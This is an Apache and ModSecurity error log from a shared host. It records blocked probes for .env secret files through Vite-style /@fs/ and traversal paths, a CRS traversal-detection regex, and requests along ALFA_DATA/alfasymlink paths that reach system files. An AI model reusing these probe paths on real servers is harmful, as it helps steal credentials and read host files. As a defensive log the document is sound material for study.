[Sun Oct 25 11:27:44.096362 2026] [security2:error] [pid 2853379:tid 2853379] [client 34.95.134.179:39556] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/@fs/.env"] [unique_id "at4f8LFVd-32uN3dR1BwCwAAAAo"]
[Sun Oct 25 11:27:44.096795 2026] [security2:error] [pid 2853379:tid 2853379] [client 34.95.134.179:39556] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/.env"] [unique_id "at4f8LFVd-32uN3dR1BwCwAAAAo"]
[Sun Oct 25 11:27:44.097077 2026] [security2:error] [pid 2853379:tid 2853379] [client 34.95.134.179:39556] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/.env"] [unique_id "at4f8LFVd-32uN3dR1BwCwAAAAo"]
[Sun Oct 25 11:27:44.099509 2026] [security2:error] [pid 2855791:tid 2855791] [client 34.95.134.179:39614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/@fs/app/.env"] [unique_id "at4f8PY1ZNQQi0iq1lVhRwAAAAA"]
[Sun Oct 25 11:27:44.099908 2026] [security2:error] [pid 2855791:tid 2855791] [client 34.95.134.179:39614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/app/.env"] [unique_id "at4f8PY1ZNQQi0iq1lVhRwAAAAA"]
[Sun Oct 25 11:27:44.100197 2026] [security2:error] [pid 2855791:tid 2855791] [client 34.95.134.179:39614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/app/.env"] [unique_id "at4f8PY1ZNQQi0iq1lVhRwAAAAA"]
[Sun Oct 25 11:27:44.248544 2026] [security2:error] [pid 2855797:tid 2855797] [client 34.95.134.179:39662] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/@fs/.env"] [unique_id "at4f8LhaAozp4xXC6PB50AAAAAg"]
[Sun Oct 25 11:27:44.249177 2026] [security2:error] [pid 2855797:tid 2855797] [client 34.95.134.179:39662] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/.env"] [unique_id "at4f8LhaAozp4xXC6PB50AAAAAg"]
[Sun Oct 25 11:27:44.249549 2026] [security2:error] [pid 2855797:tid 2855797] [client 34.95.134.179:39662] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/.env"] [unique_id "at4f8LhaAozp4xXC6PB50AAAAAg"]
[Sun Oct 25 11:27:44.261959 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at4f8PhVEu9HLPc5D-_6NQAAACk"]
[Sun Oct 25 11:27:44.262289 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at4f8PhVEu9HLPc5D-_6NQAAACk"]
[Sun Oct 25 11:27:44.262567 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at4f8PhVEu9HLPc5D-_6NQAAACk"]
[Sun Oct 25 11:27:44.291452 2026] [security2:error] [pid 2853384:tid 2853384] [client 34.95.134.179:39538] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/@fs/.env"] [unique_id "at4f8G6BKUqLydm1sXLUsgAAAA8"]
[Sun Oct 25 11:27:44.292047 2026] [security2:error] [pid 2853384:tid 2853384] [client 34.95.134.179:39538] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/.env"] [unique_id "at4f8G6BKUqLydm1sXLUsgAAAA8"]
[Sun Oct 25 11:27:44.292330 2026] [security2:error] [pid 2853384:tid 2853384] [client 34.95.134.179:39538] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/.env"] [unique_id "at4f8G6BKUqLydm1sXLUsgAAAA8"]
[Sun Oct 25 11:27:44.434657 2026] [security2:error] [pid 2855796:tid 2855796] [client 34.95.134.179:39630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/@fs/app/.env"] [unique_id "at4f8AVpgc7W_RkQTKLz1wAAAAc"]
[Sun Oct 25 11:27:44.435373 2026] [security2:error] [pid 2855796:tid 2855796] [client 34.95.134.179:39630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/app/.env"] [unique_id "at4f8AVpgc7W_RkQTKLz1wAAAAc"]
[Sun Oct 25 11:27:44.435824 2026] [security2:error] [pid 2855796:tid 2855796] [client 34.95.134.179:39630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/app/.env"] [unique_id "at4f8AVpgc7W_RkQTKLz1wAAAAc"]
[Sun Oct 25 11:27:44.442252 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/@fs/src/.env"] [unique_id "at4f8FuooNxFuMkRFYH-wgAAAAE"]
[Sun Oct 25 11:27:44.442736 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/src/.env"] [unique_id "at4f8FuooNxFuMkRFYH-wgAAAAE"]
[Sun Oct 25 11:27:44.442984 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/src/.env"] [unique_id "at4f8FuooNxFuMkRFYH-wgAAAAE"]
[Sun Oct 25 11:27:44.571976 2026] [security2:error] [pid 2855792:tid 2855792] [client 34.95.134.179:39612] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at4f8Dny6hllpa988e1uzwAAAAI"]
[Sun Oct 25 11:27:44.572127 2026] [security2:error] [pid 2855792:tid 2855792] [client 34.95.134.179:39612] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at4f8Dny6hllpa988e1uzwAAAAI"]
[Sun Oct 25 11:27:44.572874 2026] [security2:error] [pid 2855792:tid 2855792] [client 34.95.134.179:39612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at4f8Dny6hllpa988e1uzwAAAAI"]
[Sun Oct 25 11:27:44.573186 2026] [security2:error] [pid 2855792:tid 2855792] [client 34.95.134.179:39612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at4f8Dny6hllpa988e1uzwAAAAI"]
[Sun Oct 25 11:27:45.280184 2026] [security2:error] [pid 2855801:tid 2855801] [client 34.95.134.179:39724] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/@fs/app/.env.production"] [unique_id "at4f8YXBZSqZC2CxgVVEgwAAABI"]
[Sun Oct 25 11:27:45.280916 2026] [security2:error] [pid 2855801:tid 2855801] [client 34.95.134.179:39724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/app/.env.production"] [unique_id "at4f8YXBZSqZC2CxgVVEgwAAABI"]
[Sun Oct 25 11:27:45.281284 2026] [security2:error] [pid 2855801:tid 2855801] [client 34.95.134.179:39724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/app/.env.production"] [unique_id "at4f8YXBZSqZC2CxgVVEgwAAABI"]
[Sun Oct 25 11:27:46.049164 2026] [security2:error] [pid 2853384:tid 2853384] [client 34.95.134.179:39538] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/users"] [unique_id "at4f8m6BKUqLydm1sXLUtAAAAA8"]
[Sun Oct 25 11:27:46.049214 2026] [security2:error] [pid 2853384:tid 2853384] [client 34.95.134.179:39538] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/users"] [unique_id "at4f8m6BKUqLydm1sXLUtAAAAA8"]
[Sun Oct 25 11:27:46.146190 2026] [security2:error] [pid 2855797:tid 2855797] [client 34.95.134.179:39662] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/members"] [unique_id "at4f8rhaAozp4xXC6PB50gAAAAg"]
[Sun Oct 25 11:27:46.146229 2026] [security2:error] [pid 2855797:tid 2855797] [client 34.95.134.179:39662] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/members"] [unique_id "at4f8rhaAozp4xXC6PB50gAAAAg"]
[Sun Oct 25 11:27:47.088392 2026] [security2:error] [pid 2855813:tid 2855813] [client 34.95.134.179:39800] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/horizon"] [unique_id "at4f8zxOmpmOl2xtX8jaVgAAAB8"]
[Sun Oct 25 11:27:47.088427 2026] [security2:error] [pid 2855813:tid 2855813] [client 34.95.134.179:39800] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/horizon"] [unique_id "at4f8zxOmpmOl2xtX8jaVgAAAB8"]
[Sun Oct 25 11:27:47.089966 2026] [security2:error] [pid 2853378:tid 2853378] [client 34.95.134.179:39570] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/api/schema"] [unique_id "at4f8xO6lhYf13K488t6hQAAAAk"]
[Sun Oct 25 11:27:47.089993 2026] [security2:error] [pid 2853378:tid 2853378] [client 34.95.134.179:39570] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/api/schema"] [unique_id "at4f8xO6lhYf13K488t6hQAAAAk"]
[Sun Oct 25 11:27:54.304844 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 54.204.62.163:28721] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:27:58.314732 2026] [ssl:error] [pid 2853379:tid 2853379] (70014)End of file found: [client 3.210.114.189:13192] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:28:18.359372 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 54.83.180.239:46174] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:28:46.157557 2026] [security2:error] [pid 2855809:tid 2855809] [client 34.204.150.196:64352] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/node0/memory9/"] [unique_id "at4gLrUMNU5YAztchGbb0wAAABo"]
[Sun Oct 25 11:28:46.157611 2026] [security2:error] [pid 2855809:tid 2855809] [client 34.204.150.196:64352] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/node0/memory9/"] [unique_id "at4gLrUMNU5YAztchGbb0wAAABo"]
[Sun Oct 25 11:28:50.253323 2026] [core:error] [pid 2855813:tid 2855813] (13)Permission denied: [client 34.231.181.240:53254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:03.0/resource1
[Sun Oct 25 11:28:54.166873 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 54.204.12.115:53782] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:29:13.909440 2026] [core:error] [pid 2855809:tid 2855809] (13)Permission denied: [client 85.208.96.202:36500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dio/objects_partial
[Sun Oct 25 11:29:14.148301 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 3.212.205.90:3292] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:29:18.172466 2026] [ssl:error] [pid 2855816:tid 2855816] (5)Input/output error: [client 23.21.175.228:31596] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:29:22.155074 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 52.204.89.12:39972] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:29:24.490290 2026] [core:error] [pid 2855797:tid 2855797] (13)Permission denied: [client 85.208.96.198:32006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/align
[Sun Oct 25 11:29:26.141779 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 44.210.213.220:16346] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:29:42.148118 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 34.205.163.103:14143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:29:50.201173 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 98.82.59.253:56391] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:30:08.024086 2026] [core:error] [pid 2855811:tid 2855811] (13)Permission denied: [client 185.191.171.19:60138] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/trueuserowners
[Sun Oct 25 11:30:14.136243 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 34.226.89.140:58878] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:30:22.245066 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 98.82.107.102:34859] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:30:26.166968 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 52.0.41.164:54120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:30:26.167232 2026] [security2:error] [pid 2855794:tid 2855794] [client 52.0.41.164:54120] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/driver_override"] [unique_id "at4gkpa7jgKKz5LnrbxK1QAAAAQ"]
